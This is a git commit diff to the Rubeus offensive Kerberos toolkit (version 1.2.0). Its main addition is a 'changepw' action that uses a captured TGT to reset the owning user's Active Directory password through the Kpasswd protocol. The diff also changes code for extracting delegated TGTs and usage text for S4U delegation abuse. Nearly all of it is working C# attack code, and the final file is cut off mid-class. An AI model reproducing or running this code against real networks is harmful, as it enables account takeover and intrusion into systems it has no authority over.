Rubeus 1.2.0
[new] "changepw" action -implements the AoratoPw user password reset from a TGT .kirbi -equivalent to Kekeo's misc::changepw functionmaster
parent
4c91457523
commit
e193baf84d
|
@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file.
|
|||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
|
||||
## [1.2.0] - 2018-10-03
|
||||
### Added
|
||||
* **changepw** action
|
||||
* implements the AoratoPw user password reset from a TGT .kirbi
|
||||
* equivalent to Kekeo's misc::changepw function
|
||||
|
||||
|
||||
## [1.1.0] - 2018-09-31
|
||||
### Added
|
||||
* **asktgs** action - takes /ptt:X, /dc:X, /ticket:X flags like asktgt, /service:X takes one or more SPN specifications
|
||||
|
|
|
@ -18,7 +18,7 @@ namespace Rubeus
|
|||
System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
|
||||
System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
|
||||
System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
|
||||
System.Console.WriteLine(" v1.1.0\r\n");
|
||||
System.Console.WriteLine(" v1.2.0\r\n");
|
||||
}
|
||||
|
||||
public static void Usage()
|
||||
|
@ -28,10 +28,12 @@ namespace Rubeus
|
|||
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
|
||||
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
|
||||
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
|
||||
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
|
||||
Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:");
|
||||
Console.WriteLine(" Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
|
||||
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
|
||||
Console.WriteLine("\r\n Reset a user's password from a supplied TGT (AoratoPw):");
|
||||
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
|
||||
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
|
||||
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
|
@ -137,7 +139,6 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
if (arguments.ContainsKey("/createnetonly"))
|
||||
{
|
||||
// if we're starting a hidden process to apply the ticket to
|
||||
|
@ -236,7 +237,7 @@ namespace Rubeus
|
|||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
@ -298,7 +299,56 @@ namespace Rubeus
|
|||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("changepw"))
|
||||
{
|
||||
string newPassword = "";
|
||||
string dc = "";
|
||||
|
||||
if (arguments.ContainsKey("/new"))
|
||||
{
|
||||
newPassword = arguments["/new"];
|
||||
}
|
||||
if (String.IsNullOrEmpty(newPassword))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Reset.UserPassword(kirbi, newPassword, dc);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Reset.UserPassword(kirbi, newPassword, dc);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
@ -406,7 +456,7 @@ namespace Rubeus
|
|||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n");
|
||||
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
|
||||
return;
|
||||
}
|
||||
|
@ -457,7 +507,7 @@ namespace Rubeus
|
|||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
@ -561,7 +611,6 @@ namespace Rubeus
|
|||
format = arguments["/format"];
|
||||
}
|
||||
|
||||
|
||||
if (String.IsNullOrEmpty(user))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
|
||||
|
@ -624,11 +673,11 @@ namespace Rubeus
|
|||
{
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
LSA.RequestFakeDelegTicket(arguments["/target"]);
|
||||
byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
|
||||
}
|
||||
else
|
||||
{
|
||||
LSA.RequestFakeDelegTicket();
|
||||
byte[] blah = LSA.RequestFakeDelegTicket();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -683,7 +732,7 @@ namespace Rubeus
|
|||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -64,13 +64,13 @@ namespace Rubeus
|
|||
|
||||
if (etype == Interop.KERB_ETYPE.rc4_hmac)
|
||||
{
|
||||
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||
outBytes = Crypto.KerberosDecrypt(etype, 8, key, rep.enc_part.cipher);
|
||||
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
|
||||
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
|
||||
}
|
||||
else if(etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
|
||||
{
|
||||
//https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L57
|
||||
outBytes = Crypto.KerberosDecrypt(etype, 3, key, rep.enc_part.cipher);
|
||||
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
|
||||
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -234,8 +234,8 @@ namespace Rubeus
|
|||
// parse the response to an TGS-REP
|
||||
TGS_REP rep = new TGS_REP(responseAsn);
|
||||
|
||||
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
|
||||
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
|
||||
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
|
||||
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||
|
||||
|
|
|
@ -8,6 +8,17 @@ namespace Rubeus
|
|||
{
|
||||
public class Interop
|
||||
{
|
||||
// constants
|
||||
|
||||
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61
|
||||
public const int KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1;
|
||||
public const int KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3;
|
||||
public const int KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7;
|
||||
public const int KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8;
|
||||
public const int KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11;
|
||||
public const int KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13;
|
||||
public const int KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14;
|
||||
|
||||
// Enums
|
||||
|
||||
[Flags]
|
||||
|
@ -85,6 +96,18 @@ namespace Rubeus
|
|||
subkey_keymaterial = 65
|
||||
}
|
||||
|
||||
public enum KADMIN_PASSWD_ERR : UInt32
|
||||
{
|
||||
KRB5_KPASSWD_SUCCESS = 0,
|
||||
KRB5_KPASSWD_MALFORMED = 1,
|
||||
KRB5_KPASSWD_HARDERROR = 2,
|
||||
KRB5_KPASSWD_AUTHERROR = 3,
|
||||
KRB5_KPASSWD_SOFTERROR = 4,
|
||||
KRB5_KPASSWD_ACCESSDENIED = 5,
|
||||
KRB5_KPASSWD_BAD_VERSION = 6,
|
||||
KRB5_KPASSWD_INITIAL_FLAG_NEEDED = 7
|
||||
}
|
||||
|
||||
public enum KERB_CHECKSUM_ALGORITHM
|
||||
{
|
||||
KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15,
|
||||
|
@ -1259,5 +1282,10 @@ namespace Rubeus
|
|||
public static extern int FreeCredentialsHandle(
|
||||
[In] ref SECURITY_HANDLE phCredential
|
||||
);
|
||||
|
||||
[DllImport("Secur32.dll")]
|
||||
public static extern int FreeContextBuffer(
|
||||
ref IntPtr pvContextBuffer
|
||||
);
|
||||
}
|
||||
}
|
|
@ -1367,10 +1367,12 @@ namespace Rubeus
|
|||
return returnedSessionKey;
|
||||
}
|
||||
|
||||
public static void RequestFakeDelegTicket(string targetSPN = "")
|
||||
public static byte[] RequestFakeDelegTicket(string targetSPN = "")
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n");
|
||||
|
||||
byte[] finalTGTBytes = null;
|
||||
|
||||
if (String.IsNullOrEmpty(targetSPN))
|
||||
{
|
||||
Console.WriteLine("[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'");
|
||||
|
@ -1378,7 +1380,7 @@ namespace Rubeus
|
|||
if(String.IsNullOrEmpty(domainController))
|
||||
{
|
||||
Console.WriteLine("[X] Error retrieving current domain controller");
|
||||
return;
|
||||
return null;
|
||||
}
|
||||
targetSPN = String.Format("HOST/{0}", domainController);
|
||||
}
|
||||
|
@ -1465,8 +1467,8 @@ namespace Rubeus
|
|||
string base64SessionKey = Convert.ToBase64String(key);
|
||||
Console.WriteLine("[*] Extracted the service ticket session key from the ticket cache: {0}", base64SessionKey);
|
||||
|
||||
// KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR == 11 (https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/kull_m_kerberos_asn1.h)
|
||||
byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, 11, key, encAuthenticator.cipher);
|
||||
// KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11
|
||||
byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, key, encAuthenticator.cipher);
|
||||
|
||||
AsnElt asnAuthenticator = AsnElt.Decode(rawBytes, false);
|
||||
|
||||
|
@ -1507,8 +1509,8 @@ namespace Rubeus
|
|||
{
|
||||
byte[] enc_part = elt3.Sub[0].Sub[1].GetOctetString();
|
||||
|
||||
// KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART == 14
|
||||
byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, 14, key, enc_part);
|
||||
// KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14
|
||||
byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, key, enc_part);
|
||||
|
||||
// decode the decrypted plaintext enc par and add it to our final cred object
|
||||
AsnElt encKrbCredPartAsn = AsnElt.Decode(rawBytes2, false);
|
||||
|
@ -1526,6 +1528,8 @@ namespace Rubeus
|
|||
{
|
||||
Console.WriteLine(" {0}", line);
|
||||
}
|
||||
|
||||
finalTGTBytes = kirbiBytes;
|
||||
}
|
||||
}
|
||||
else
|
||||
|
@ -1562,6 +1566,9 @@ namespace Rubeus
|
|||
}
|
||||
// cleanup 1
|
||||
Interop.DeleteSecurityContext(ref ClientContext);
|
||||
|
||||
// cleanup 2
|
||||
//Interop.FreeContextBuffer(ref ClientToken.pBuffers);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -1570,6 +1577,7 @@ namespace Rubeus
|
|||
|
||||
// cleanup 2
|
||||
Interop.FreeCredentialsHandle(ref phCredential);
|
||||
return finalTGTBytes;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -37,7 +37,7 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
public static byte[] SendBytes(string server, int port, byte[] data)
|
||||
public static byte[] SendBytes(string server, int port, byte[] data, bool noHeader = false)
|
||||
{
|
||||
// send the byte array to the specified server/port
|
||||
|
||||
|
@ -48,14 +48,23 @@ namespace Rubeus
|
|||
|
||||
System.Net.Sockets.Socket socket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);
|
||||
socket.Ttl = 128;
|
||||
byte[] totalRequestBytes;
|
||||
|
||||
byte[] lenBytes = BitConverter.GetBytes(data.Length);
|
||||
Array.Reverse(lenBytes);
|
||||
if (noHeader)
|
||||
{
|
||||
// used for MS Kpasswd
|
||||
totalRequestBytes = data;
|
||||
}
|
||||
else
|
||||
{
|
||||
byte[] lenBytes = BitConverter.GetBytes(data.Length);
|
||||
Array.Reverse(lenBytes);
|
||||
|
||||
// build byte[req len + req bytes]
|
||||
byte[] totalRequestBytes = new byte[lenBytes.Length + data.Length];
|
||||
Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length);
|
||||
Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length);
|
||||
// build byte[req len + req bytes]
|
||||
totalRequestBytes = new byte[lenBytes.Length + data.Length];
|
||||
Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length);
|
||||
Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
|
@ -76,8 +85,17 @@ namespace Rubeus
|
|||
int bytesReceived = socket.Receive(responseBuffer);
|
||||
Console.WriteLine("[*] Received {0} bytes", bytesReceived);
|
||||
|
||||
byte[] response = new byte[bytesReceived - 4];
|
||||
Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4);
|
||||
byte[] response;
|
||||
if (noHeader)
|
||||
{
|
||||
response = new byte[bytesReceived];
|
||||
Array.Copy(responseBuffer, 0, response, 0, bytesReceived);
|
||||
}
|
||||
else
|
||||
{
|
||||
response = new byte[bytesReceived - 4];
|
||||
Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4);
|
||||
}
|
||||
|
||||
socket.Close();
|
||||
|
||||
|
|
|
@ -0,0 +1,205 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using Asn1;
|
||||
|
||||
namespace Rubeus
|
||||
{
|
||||
public class Reset
|
||||
{
|
||||
public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "")
|
||||
{
|
||||
// implements the Kerberos-based password reset originally disclosed by Aorato
|
||||
// This function is misc::changepw in Kekeo
|
||||
// Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence
|
||||
// AP-REQ with randomized sub session key
|
||||
// KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key
|
||||
// reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244)
|
||||
|
||||
Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n");
|
||||
|
||||
// grab the default DC if none was supplied
|
||||
if (String.IsNullOrEmpty(domainController))
|
||||
{
|
||||
domainController = Networking.GetDCName();
|
||||
if (String.IsNullOrEmpty(domainController))
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
System.Net.IPAddress[] dcIP;
|
||||
try
|
||||
{
|
||||
dcIP = System.Net.Dns.GetHostAddresses(domainController);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
|
||||
return;
|
||||
}
|
||||
|
||||
// extract the user and domain from the existing .kirbi ticket
|
||||
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string userDomain = kirbi.enc_part.ticket_info[0].prealm;
|
||||
|
||||
Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain);
|
||||
Console.WriteLine("[*] New password value: {0}", newPassword);
|
||||
|
||||
// build the AP_REQ using the user ticket's keytype and key
|
||||
Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request");
|
||||
AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.tickets[0], kirbi.enc_part.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR);
|
||||
|
||||
// create a new session subkey for the Authenticator and match the encryption type of the user key
|
||||
Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype);
|
||||
ap_req.authenticator.subkey = new EncryptionKey();
|
||||
ap_req.authenticator.subkey.keytype = kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
|
||||
// generate a random session subkey
|
||||
Random random = new Random();
|
||||
byte[] randKeyBytes;
|
||||
Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
if (randKeyEtype == Interop.KERB_ETYPE.rc4_hmac)
|
||||
{
|
||||
randKeyBytes = new byte[16];
|
||||
random.NextBytes(randKeyBytes);
|
||||
ap_req.authenticator.subkey.keyvalue = randKeyBytes;
|
||||
}
|
||||
else if (randKeyEtype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
|
||||
{
|
||||
randKeyBytes = new byte[32];
|
||||
random.NextBytes(randKeyBytes);
|
||||
ap_req.authenticator.subkey.keyvalue = randKeyBytes;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!");
|
||||
return;
|
||||
}
|
||||
|
||||
Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes));
|
||||
|
||||
// randKeyBytes is now the session key used for the KRB-PRIV structure
|
||||
|
||||
// MIMIKATZ_NONCE ;)
|
||||
ap_req.authenticator.seq_number = 1818848256;
|
||||
|
||||
// now build the KRV-PRIV structure
|
||||
Console.WriteLine("[*] Building the KRV-PRIV structure");
|
||||
KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes);
|
||||
|
||||
// the new password to set for the user
|
||||
changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol");
|
||||
|
||||
|
||||
// now build the final MS Kpasswd request
|
||||
|
||||
byte[] apReqBytes = ap_req.Encode().Encode();
|
||||
byte[] changePrivBytes = changePriv.Encode().Encode();
|
||||
|
||||
byte[] packetBytes = new byte[10 + apReqBytes.Length + changePrivBytes.Length];
|
||||
|
||||
short msgLength = (short)(packetBytes.Length - 4);
|
||||
byte[] msgLengthBytes = BitConverter.GetBytes(msgLength);
|
||||
System.Array.Reverse(msgLengthBytes);
|
||||
|
||||
// Record Mark
|
||||
packetBytes[2] = msgLengthBytes[0];
|
||||
packetBytes[3] = msgLengthBytes[1];
|
||||
|
||||
// Message Length
|
||||
packetBytes[4] = msgLengthBytes[0];
|
||||
packetBytes[5] = msgLengthBytes[1];
|
||||
|
||||
// Version (Reply)
|
||||
packetBytes[6] = 0x0;
|
||||
packetBytes[7] = 0x1;
|
||||
|
||||
// AP_REQ Length
|
||||
short apReqLen = (short)(apReqBytes.Length);
|
||||
byte[] apReqLenBytes = BitConverter.GetBytes(apReqLen);
|
||||
System.Array.Reverse(apReqLenBytes);
|
||||
packetBytes[8] = apReqLenBytes[0];
|
||||
packetBytes[9] = apReqLenBytes[1];
|
||||
|
||||
// AP_REQ
|
||||
Array.Copy(apReqBytes, 0, packetBytes, 10, apReqBytes.Length);
|
||||
|
||||
// KRV-PRIV
|
||||
Array.Copy(changePrivBytes, 0, packetBytes, apReqBytes.Length + 10, changePrivBytes.Length);
|
||||
|
||||
// KPASSWD_DEFAULT_PORT = 464
|
||||
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 464, packetBytes, true);
|
||||
if (response == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||
|
||||
// check the response value
|
||||
int responseTag = responseAsn.TagValue;
|
||||
|
||||
if (responseTag == 30)
|
||||
{
|
||||
// parse the response to an KRB-ERROR
|
||||
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
// otherwise parse the resulting KRB-PRIV from the server
|
||||
|
||||
byte[] respRecordMarkBytes = { response[0], response[1], response[2], response[3] };
|
||||
Array.Reverse(respRecordMarkBytes);
|
||||
int respRecordMark = BitConverter.ToInt32(respRecordMarkBytes, 0);
|
||||
|
||||
byte[] respMsgLenBytes = { response[4], response[5] };
|
||||
Array.Reverse(respMsgLenBytes);
|
||||
int respMsgLen = BitConverter.ToInt16(respMsgLenBytes, 0);
|
||||
|
||||
byte[] respVersionBytes = { response[6], response[7] };
|
||||
Array.Reverse(respVersionBytes);
|
||||
int respVersion = BitConverter.ToInt16(respVersionBytes, 0);
|
||||
|
||||
byte[] respAPReqLenBytes = { response[8], response[9] };
|
||||
Array.Reverse(respAPReqLenBytes);
|
||||
int respAPReqLen = BitConverter.ToInt16(respAPReqLenBytes, 0);
|
||||
|
||||
byte[] respAPReq = new byte[respAPReqLen];
|
||||
Array.Copy(response, 10, respAPReq, 0, respAPReqLen);
|
||||
|
||||
int respKRBPrivLen = respMsgLen - respAPReqLen - 6;
|
||||
byte[] respKRBPriv = new byte[respKRBPrivLen];
|
||||
Array.Copy(response, 10 + respAPReqLen, respKRBPriv, 0, respKRBPrivLen);
|
||||
|
||||
// decode the KRB-PRIV response
|
||||
AsnElt respKRBPrivAsn = AsnElt.Decode(respKRBPriv, false);
|
||||
|
||||
foreach(AsnElt elem in respKRBPrivAsn.Sub[0].Sub)
|
||||
{
|
||||
if(elem.TagValue == 3)
|
||||
{
|
||||
byte[] encBytes = elem.Sub[0].Sub[1].GetOctetString();
|
||||
byte[] decBytes = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes);
|
||||
AsnElt decBytesAsn = AsnElt.Decode(decBytes, false);
|
||||
|
||||
byte[] responseCodeBytes = decBytesAsn.Sub[0].Sub[0].Sub[0].GetOctetString();
|
||||
Array.Reverse(responseCodeBytes);
|
||||
short responseCode = BitConverter.ToInt16(responseCodeBytes, 0);
|
||||
if (responseCode == 0)
|
||||
{
|
||||
Console.WriteLine("[+] Password change success!");
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] Password change error: {0}", (Interop.KADMIN_PASSWD_ERR)responseCode);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -15,7 +15,7 @@ namespace Rubeus
|
|||
|
||||
public class AP_REQ
|
||||
{
|
||||
public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype)
|
||||
public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, int keyUsageSpec = Interop.KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR)
|
||||
{
|
||||
pvno = 5;
|
||||
|
||||
|
@ -25,6 +25,10 @@ namespace Rubeus
|
|||
|
||||
ticket = providedTicket;
|
||||
|
||||
// KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7
|
||||
// KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11
|
||||
keyUsage = keyUsageSpec;
|
||||
|
||||
enctype = etype;
|
||||
key = clientKey;
|
||||
|
||||
|
@ -61,17 +65,15 @@ namespace Rubeus
|
|||
|
||||
|
||||
// authenticator [4] EncryptedData
|
||||
|
||||
// KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR 7
|
||||
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61
|
||||
if (key == null)
|
||||
{
|
||||
Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ");
|
||||
return null;
|
||||
}
|
||||
|
||||
byte[] authenticatorBytes = authenticator.Encode().Encode();
|
||||
//byte[] keyBytes = Helpers.StringToByteArray(key);
|
||||
byte[] encBytes = Crypto.KerberosEncrypt(enctype, 7, key, authenticatorBytes);
|
||||
|
||||
byte[] encBytes = Crypto.KerberosEncrypt(enctype, keyUsage, key, authenticatorBytes);
|
||||
|
||||
// create the EncryptedData structure to hold the authenticator bytes
|
||||
EncryptedData authenticatorEncryptedData = new EncryptedData();
|
||||
|
@ -108,5 +110,7 @@ namespace Rubeus
|
|||
public byte[] key { get; set; }
|
||||
|
||||
private Interop.KERB_ETYPE enctype;
|
||||
|
||||
private int keyUsage;
|
||||
}
|
||||
}
|
|
@ -37,6 +37,10 @@ namespace Rubeus
|
|||
cusec = 0;
|
||||
|
||||
ctime = DateTime.UtcNow;
|
||||
|
||||
subkey = null;
|
||||
|
||||
seq_number = 0;
|
||||
}
|
||||
|
||||
public AsnElt Encode()
|
||||
|
@ -79,6 +83,22 @@ namespace Rubeus
|
|||
tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
|
||||
allNodes.Add(tillSeq);
|
||||
|
||||
if (subkey != null)
|
||||
{
|
||||
// subkey [6] EncryptionKey OPTIONAL
|
||||
AsnElt keyAsn = subkey.Encode();
|
||||
keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, keyAsn);
|
||||
allNodes.Add(keyAsn);
|
||||
}
|
||||
|
||||
if(seq_number != 0)
|
||||
{
|
||||
// seq-number [7] UInt32 OPTIONAL
|
||||
AsnElt seq_numberASN = AsnElt.MakeInteger(seq_number);
|
||||
AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq_numberASN });
|
||||
seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, seq_numberSeq);
|
||||
allNodes.Add(seq_numberSeq);
|
||||
}
|
||||
|
||||
// package it all up
|
||||
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
|
||||
|
@ -101,5 +121,9 @@ namespace Rubeus
|
|||
public long cusec { get; set; }
|
||||
|
||||
